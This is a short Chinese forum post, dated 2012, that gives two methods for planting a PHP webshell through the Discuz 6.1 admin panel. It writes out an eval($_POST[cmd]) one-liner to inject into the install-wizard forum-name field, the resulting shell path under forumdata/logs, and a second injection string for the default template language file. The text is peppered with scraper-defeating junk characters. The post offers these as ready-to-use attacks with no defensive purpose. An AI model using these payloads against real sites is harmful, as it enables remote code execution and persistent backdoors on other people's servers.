discuz6.1两种方法后台拿shell
. c* K. }. r1 i6 [5 [+ w, ^! H好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下5 F y, p3 ] W* m0 J! d4 h
1:6 p* o$ w& F9 h6 @
http://127.0.0.1/discuz/admincp. ... zard&frames=yes
7 x( M0 ]/ W, k( n. c3 Oadmincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
8 H4 _ P2 N" M. Z$ r6 g+ n6 e<?php eval($_POST[cmd]);?>( Q0 G$ O$ P$ J( f5 `2 l& R
后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
( q9 W& f1 d" E: w: @8 ]/ x! h7 g# c9 x5 `1 ^
]( E& ^8 [# T a8 t$ I3 j2 N: u
2:后台模板管理--默认模板套系--详情
8 ], Q2 r+ d' w8 F. p* d1 a/ ?% Ltemplates/default/actions.lang.php
$ P7 z" B4 p$ h3 Gjhackj\\');eval($_POST[cmd])?>;//) S$ @! _" K& y% ^- K' k1 S; W4 b# W
O, p3 A, E# l利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对